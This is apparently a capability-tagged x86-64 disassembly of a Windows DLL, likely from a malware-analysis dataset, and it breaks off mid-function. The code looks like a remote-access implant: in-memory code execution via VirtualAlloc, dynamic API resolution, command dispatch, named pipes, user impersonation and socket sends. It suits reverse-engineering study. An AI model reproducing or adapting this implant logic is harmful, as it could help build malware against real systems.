Function at 0x180014590
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.18001416c
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.1800142c8
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.1800142c8
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.1800142c8
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180014284
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.180014364
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.180010ae0
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.180014364
mov rcx, rsi
call fcn.18000c9cc
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.180010ae0
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.180010ae0
mov rcx, r15
call fcn.180014260
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x18003f460]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000cfa8
jmp 0x18000c8c5
cmp dword [rbx], 1
jne 0x18000c8be
lea r8, [rbx + 0x2004]
lea rdx, [0x18002d6c0]
lea rcx, [rsp + 0x20]
call fcn.18000d00c
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c8a1
lea rcx, [rsp + 0x20]
call fcn.18000d008
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d078
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cf84
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, qword [0x18003f460]
mov rdi, rcx
mov r14d, 0x2000
mov ecx, r14d
movsxd rbx, edx
call fcn.18001a7dc
mov r8d, r14d
mov rcx, rdi
mov rdx, rax
mov rbp, rax
mov byte [rbx + rdi], 0
call fcn.180010ae0
jmp 0x18000c998
cmp dword [rsi], 1
jne 0x18000c991
lea rcx, [rsi + 4]
mov r8, rbp
mov rax, rcx
sub r8, rcx
movzx edx, byte [rax]
movzx r9d, byte [rax + r8]
sub edx, r9d
jne 0x18000c972
inc rax
test r9d, r9d
jne 0x18000c95d
test edx, edx
jne 0x18000c991
and dword [rsi], edx
mov r8, r14
call fcn.18001aa90
lea rcx, [rsi + 0x2004]
mov r8, r14
xor edx, edx
call fcn.18001aa90
mov rsi, qword [rsi + 0x4008]
test rsi, rsi
jne 0x18000c94b
mov r8, r14
xor edx, edx
mov rcx, rbp
call fcn.18001aa90
mov rcx, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.18001a79c
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
mov rdi, rcx
mov ecx, 0x1f8
movaps xmmword [rax - 0x38], xmm6
mov ebx, edx
call fcn.18001a7dc
mov rcx, rax
mov r15, rax
call fcn.18000d620
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov rdx, rdi
call fcn.180014284
lea rcx, [rsp + 0x30]
call fcn.180014294
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
mov r14d, eax
mov dword [rbp + 0x50], eax
call fcn.180014228
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x70], xmm6
call fcn.180014228
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
movups xmm0, xmmword [rax]
movdqu xmmword [rbp - 0x80], xmm0
call fcn.180014228
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
movups xmm0, xmmword [rax]
movdqu xmmword [rbp - 0x60], xmm0
call fcn.180014228
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x70], xmm0
call fcn.180014228
psrldq xmm6, 8
mov ecx, 0x2b
movups xmm0, xmmword [rax]
movd eax, xmm6
movsxd r13, eax
movdqu xmmword [rsp + 0x60], xmm0
call fcn.180018d88
mov r8d, 0x3000
mov rdx, r13
xor ecx, ecx
movzx r9d, ax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000d339
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.180014284
lea rcx, [rsp + 0x48]
mov edx, ntohl
call fcn.1800142c8
mov rsi, qword [rbp - 0x70]
mov ecx, 0x404
mov rbx, rax
movzx eax, word [rax + 2]
cmp ax, cx
je 0x18000d2ed
mov ecx, 0x400
cmp ax, cx
jne 0x18000d20d
mov eax, dword [rbx + 8]
mov r9, qword [rbp - 0x80]
mov dword [rsp + 0x20], eax
jmp 0x18000d2b3
mov ecx, 0x401
cmp ax, cx
jne 0x18000d227
mov eax, dword [rbx + 8]
mov r9, qword [rbp - 0x60]
mov dword [rsp + 0x20], eax
jmp 0x18000d2b3
mov ecx, 0x402
cmp ax, cx
jne 0x18000d23d
mov eax, dword [rbx + 8]
mov r9, rdi
mov dword [rsp + 0x20], eax
jmp 0x18000d2b3
mov ecx, 0x403
cmp ax, cx
jne 0x18000d2a6
lea rcx, [rsp + 0x48]
call fcn.1800143dc
lea rcx, [rsp + 0x48]
mov r14, rax
call fcn.1800143dc
mov rcx, r14
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000d278
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000d373
mov rdx, rax
mov rcx, r15
call fcn.18000d38c
test rax, rax
je 0x18000d367
mov r9, rax
jmp 0x18000d2ae
movsx rax, ax
lea r9, [r15 + rax*8]
and dword [rsp + 0x20], 0
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.18000d5a8
test eax, eax
je 0x18000d328
lea rcx, [rsp + 0x48]
mov edx, ntohl
call fcn.1800142c8
mov ecx, 0x404
mov rbx, rax
movzx eax, word [rax + 2]
cmp ax, cx
jne 0x18000d1f3
mov r14d, dword [rbp + 0x50]
mov r8, r13
mov rdx, rsi
mov rcx, rdi
call fcn.18001ae80
mov r8, r13
xor edx, edx
mov rcx, rsi
call fcn.18001aa90
mov rdx, r13
mov rcx, rdi
call fcn.180012144
test eax, eax
je 0x18000d328
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov eax, r14d
add rax, rdi
call rax
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r15
call fcn.18001a79c
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x4e
call fcn.18000dca4
jmp 0x18000d328
lea rdx, str._s__s
mov r9, r12
mov r8, r14
mov ecx, 0x4c
call fcn.18000db8c
jmp 0x18000d328
cmp edx, 0x3ff
jg 0x18000e86b
push rbx
sub rsp, 0x420
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001bea0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x420
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.18001416c
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.1800142c8
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180014284
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.180014364
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.180014364
lea rcx, [rsp + 0x20]
call fcn.18001432c
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.180010ae0
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18001bdac
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18001bdac
test bl, 1
je 0x18000e99b
lea rcx, [rsp + 0x80]
call fcn.180010b64
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000e977
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000f104
mov rcx, qword [rsp + 0x80]
call fcn.180010b9c
jmp 0x18000e9b8
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000e9a3
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000f104
mov rcx, r12
call fcn.180014260
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.18001aa90
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000ea9c
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.18001bea0
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180015610
lea rcx, [rsp + 0x30]
call fcn.1800128a4
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.180014294
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
push rbx
sub rsp, 0x820
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.18001aa90
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000eb2e
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
add rsp, 0x820
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.18001416c
mov edx, 0x4000
mov rcx, rax
mov rsi, rax
call fcn.1800142c8
mov r13d, 0x400
mov rcx, rsi
mov edx, r13d
mov rbp, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, rsi
mov r12, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, rsi
mov r14, rax
call fcn.1800142c8
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.180014284
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r12
call fcn.180014364
test eax, eax
jne 0x18000ebd4
mov rcx, rsi
call fcn.180014260
jmp 0x18000ec4f
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r14
call fcn.180014364
test eax, eax
je 0x18000ebca
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r15
call fcn.180014364
test eax, eax
je 0x18000ebca
lea rcx, [rsp + 0x30]
mov r8d, 0x4000
mov rdx, rbp
call fcn.180014364
test eax, eax
je 0x18000ebca
call fcn.180019efc
lea rax, [rsp + 0x48]
mov r9, rbp
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r8, r15
mov rdx, r14
mov rcx, r12
call fcn.18000ff30
call fcn.180019f2c
mov rcx, rsi
call fcn.180014260
lea rcx, [rsp + 0x48]
call fcn.1800128a4
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.18001aa90
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov ecx, 0x2000
mov word [rbp + 0x17], r12w
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x13], 0x101
call fcn.18001416c
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800142c8
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.180014284
lea rcx, [rbp - 0x41]
call fcn.180014294
lea rcx, [rbp - 0x41]
mov r8d, 0x2000
mov rdx, rsi
mov ebx, eax
call fcn.180014364
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000ed2a
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180015460
mov rcx, r14
call fcn.180014260
lea rcx, [rbp - 0x59]
call fcn.1800128a4
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
jmp 0x180029eb8
push rbx
sub rsp, 0x40
xor ebx, ebx
cmp dword [section..data], ebx
je 0x18000edd5
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.180014294
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.180014294
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, ebx
mov dword [0x18003f468], eax
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.1800143dc
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180014294
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.1800141e8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18000d008
mov edi, eax
call fcn.18000e668
jmp 0x18000ee72
mov edx, r15d
mov rcx, r14
call fcn.18000f27c
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000eeb2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x18000ee53
mov ecx, 0x46
call fcn.18000dca4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18000ee86
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov ebx, edx
mov rdi, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x51]
mov r8d, ebx
mov rdx, rdi
lea r14d, [rax + 0xea60]
call fcn.180014284
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x51]
mov r8d, 0x80
call fcn.180014364
lea rcx, [rbp - 0x51]
call fcn.1800141e8
lea rcx, [rbp - 0x51]
mov rdi, rax
call fcn.18000d008
xor ebx, ebx
mov dword [rbp + 0x77], eax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.180012b00
test eax, eax
jne 0x18000ef87
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18000ef6b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18000ef6b
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x18000ef32
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x39]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000dcc4
jmp 0x18000f00a
mov rcx, qword [rbp - 0x59]
and qword [rsp + 0x20], rsi
lea r9, [rbp + 0x7f]
lea rdx, [rbp + 0x77]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x18000efe1
mov ebx, 0x2000
mov rcx, qword [rbp - 0x59]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp + 0x7f]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000efe1
add esi, dword [rbp + 0x7f]
mov eax, dword [rbp + 0x77]
cmp esi, eax
jb 0x18000efb0
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.18001a7dc
mov rdi, rax
test rax, rax
je 0x18000f0ed
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.180014284
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.180014364
mov rcx, rdi
test eax, eax
jne 0x18000f087
call fcn.18001a79c
jmp 0x18000f0ed
mov rdx, rbx
call fcn.18001bb80
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000f0d3
lea rcx, [rsp + 0x20]
call fcn.18000d008
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.1800141e8
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001bd1c
mov rcx, rsi
call fcn.18001ba40
mov rcx, rdi
jmp 0x18000f080
mov rcx, rdi
call fcn.18001a79c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000dbd8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x220
mov rdi, rcx
mov rcx, qword [0x18003d020]
or rbx, 0xffffffffffffffff
cmp rcx, rbx
je 0x18000f35f
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18003d018]
cmp rcx, rbx
je 0x18000f3cb
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18000f389
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ntohl
mov edx, eax
call fcn.18000dbd8
jmp 0x18000f3d5
mov rcx, qword [0x18003d018]
lea rdx, [rsp + 0x20]
mov r8d, 0x200
mov qword [0x180044440], rcx
call fcn.180019fd8
test eax, eax
je 0x18000f3d5
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000f3b0
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, reloc.WS2_32.dll_ntohs
call rdi
jmp 0x18000f3d5
mov ecx, 1
call fcn.18000dca4
mov rbx, qword [rsp + 0x230]
add rsp, 0x220
pop rdi
ret
cmp edx, 0x100
jge 0x18000f481
push rbx
sub rsp, 0x140
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001ae80
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
lea rcx, [rsp + 0x40]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003d018], rax
mov qword [0x18003d010], rax
mov qword [0x18003d020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003d010], rax
test rax, rax
je 0x18000f479
lea rcx, [0x18000f568]
xor edx, edx
call fcn.1800198a8
mov qword [0x18003d020], rax
add rsp, 0x140
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000cfa8
cmp qword [0x180044440], 0
je 0x18000f4d6
call fcn.180019efc
mov r8, qword [0x180044440]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000f638
call fcn.180019f2c
jmp 0x18000f51e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000f514
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000f638
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000f51e
mov ecx, 0x3b
call fcn.18000dca4
lea rcx, [rsp + 0x20]
call fcn.18000d008
test eax, eax
je 0x18000f54c
lea rcx, [rsp + 0x20]
call fcn.18000d008
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d078
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000cf84
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.18001416c
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.1800142c8
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.1800142c8
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.180014284
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.180014408
lea rdx, [0x18002d710]
mov rcx, rsi
call fcn.18001bb80
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180010304
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001c404
mov rcx, rdi
call fcn.18001c478
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.18001c404
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x1800102e5
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x1800102de
mov ecx, 0x18
call fcn.18001a7dc
mov rcx, qword [0x18003f4a8]
mov r8d, dword [0x18003f4b0]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
mov qword [0x18003f4a8], rax
mov dword [0x18003f4b0], r8d
call fcn.18000cfa8
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000cfd8
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000cfd8
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000cf1c
lea rcx, [rsp + 0x20]
call fcn.18000d008
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d078
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000cf84
jmp 0x180010311
mov ecx, 0x3d
jmp 0x1800102ea
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000dcb4
mov rcx, rbp
call fcn.180014260
mov rcx, rdi
call fcn.18001ba40
jmp 0x180010319
mov rdx, rsi
mov ecx, 0x28
call fcn.18000dcb4
mov rcx, rbp
call fcn.180014260
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x18003f4a8]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x180010369
cmp dword [rbx], edi
jne 0x180010365
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.18001ba40
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180010354
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.18001416c
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.1800142c8
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.1800142c8
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.180014284
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180014364
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
